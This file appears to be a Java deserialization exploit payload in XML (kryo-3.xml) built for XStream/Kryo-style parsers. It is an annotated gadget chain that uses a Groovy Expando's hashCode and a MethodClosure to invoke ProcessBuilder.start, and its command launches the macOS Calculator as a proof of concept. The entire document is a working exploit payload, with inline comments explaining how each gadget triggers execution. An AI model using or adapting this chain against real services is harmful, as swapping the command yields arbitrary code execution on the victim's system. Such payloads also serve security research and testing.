kryo-3.xml

<map>
  <!-- This Expando is our key in the root level Map -->
  <groovy.util.Expando> 
    <expandoProperties>
      <entry>
        <!-- This property tells Expando to call our method on hashCode() -->
        <string>hashCode</string>
          <!-- This MethodClosure will pop a calculator when called -->
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
            <command>
              <string>open</string>
              <string>/Applications/Calculator.app</string>
            </command>
            <redirectErrorStream>false</redirectErrorStream>
          </owner>
          <resolveStrategy>0</resolveStrategy>
          <directive>0</directive>
          <parameterTypes/>
          <maximumNumberOfParameters>0</maximumNumberOfParameters>
          <!-- This is the name of the method to invoke on ProcessBuilder -->
          <method>start</method>
        </org.codehaus.groovy.runtime.MethodClosure>
      </entry>
    </expandoProperties>
  </groovy.util.Expando>

  <!-- This integer is our value for the only key-value. Can be anything. -->
  <int>1</int>
</map>